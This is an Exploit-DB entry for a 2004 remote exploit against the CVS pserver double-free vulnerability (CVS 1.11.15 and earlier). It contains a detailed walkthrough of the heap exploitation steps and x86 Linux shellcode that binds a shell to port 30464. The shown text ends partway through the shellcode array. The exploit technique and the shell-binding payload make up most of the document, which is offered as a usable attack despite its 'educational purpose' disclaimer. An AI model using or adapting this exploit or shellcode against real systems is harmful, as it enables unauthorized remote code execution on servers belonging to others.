Exploit-DB #24182
Description: CVS 1.11.x - Multiple Vulnerabilities
Type: local
Platform: linux
Date: 2004-06-09
Author: Gyan Chawdhary

Exploit:
// source: https://www.securityfocus.com/bid/10499/info

CVS is prone to multiple vulnerabilities. The issues include a double free vulnerability, format string vulnerabilities, and integer overflows. There is also a null termination issue in the security patch for BID 10384, potentially leading to a server crash. Some of these issues may be leveraged to execute arbitrary code, while other issues may only result in a denial of service.

/* Remote CVS <= 1.11.15 exploit for the error_prog_name double free vuln.
*
* by Gyan Chawdhary, gunnu45 hotmail com
*
* Vulnerability Description:
*
* The Vulnerability lies in the serve_argumentx function. The Argumentx 
command
* parameter is used to append data to a previously supplied Argument 
command.
* These data pointers are stored in the argument_vector array. The
* serve_argumentx fails to check wether an Argument command is present in 
the
* argument_vector and may append data to a pointer that should not get
* touched at all, in our case the *error_prog_name string. The function 
calls
* realloc to create space for the new string. Because realloc will be called
* to store strlen(error_prog_name) + strlen(somedata) the original chunk 
which
* just stores error_prog_name will get freed. This free chunk will once 
again
* get freed after we disconnect from the CVS pserver.
*
* Theory:
*
* Sucessful exploitation depends heavily on a specific heap layout to be 
met.
* The argument_vector is initialized for holding 3 ptrs. If more space is
* required it will call realloc. The error_prog_name string resides right
* after the argument_vector chunk.
*
* |11| arg_vector |11| error_prog_name |109| some chunk
*
* address of error_prog_name is stored in the argument_vector[0].
*
* To achive sucessfull exploitation the following steps are performed.
*
* 1) Send Argumentx command with a large argument to reallocate 
error_prog_name
* + large command on top of the heap. This will free the original
* error_prog_name buffer.
*
* 2) Send 50 Argument calls which will require the argument_vector array to 
be
* reallocated freeing the current buffer. We keep this a high number to get
* mem from the top itself and to make the exploit reliable. As both the
* original the arg_vector & err_prg_name buffers are free they are
* consolidated. Also we supply our fake chunk and shellcode in this call.
*
* 3) Send an argument command with the size & prevsize as its arguments. 
This
* will now be stored in arg_vector & err_prg_name consolidated buffer.
*
* 4) Once we close the connection free will be called on the error_prog_name
* string which will read our fake size & prev_size fields pointing to the 
fake
* chunk , executing our shellcode.
*
* Phew !!!!
*
* NOTES: Iv tried this exp on RH 8 with glibc 2.3.*. This exp did NOT work 
on
* my slack 8.0 cause of glibc 2.2 which creates a very different heap 
layout.
* Also some tweaking will be required to use this exploit remotely as 
sometimes
* the overwritten GOT does not execute due to early drop in the connection 
..
* Please someone figure it out n mail me :) ..
*
* Now the exploit
*
* FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL
* PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR
* EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL 
PURPOSE *
* Greets: jp - for his cool paper on advanced malloc exploits, and the 
heapy.so
* jaguar@felinemenace - We at ... :P
*
* cya
*
* Gyan
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

char shellcode[] =
"\xeb\x18"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xd2" // xorl %edx,%edx
"\xb0\x66" // movb $0x66,%al
"\xb3\x01" // movb $0x1,%bl
"\x51" // pushl %ecx
"\xb1\x06" // movb $0x6,%cl
"\x51" // pushl %ecx
"\xb1\x01" // movb $0x1,%cl
"\x51" // pushl %ecx
"\xb1\x02" // movb $0x2,%cl
"\x51" // pushl %ecx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xcd\x80" // int $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
"\xb3\x02" // movb $0x2,%bl
"\xb1\x02" // movb $0x2,%cl
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77" // addb $0x77,%cl
"\x66\x51" // pushl %cx
"\xb1\x02" // movb $0x2,%cl
"\x66\x51" // pushw %cx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb2\x10" // movb $0x10,%dl
"\x52" // pushl %edx
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x89\xc2" // movl %eax,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* listen(fd, 1) */
"\xb3\x01" // movb $0x1,%bl
"\x53" // pushl %ebx
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\x80\xc3\x03" // addb $0x3,%bl
"\xcd\x80" // int $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb3\x05" // movl $0x5,%bl
"\xb0\x66" // movl $0x66,%al
"\xcd\x80" // int $0x80

/* dup2(cli, 0) */
"\x89\xc3" // movl %eax,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80

/* dup2(cli, 1) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movl $0x3f,%al
"\xcd\x80" // int $0x80

/* dup2(cli, 2) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb" // xorl %ebx,%ebx
"\x53" // pushl %ebx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3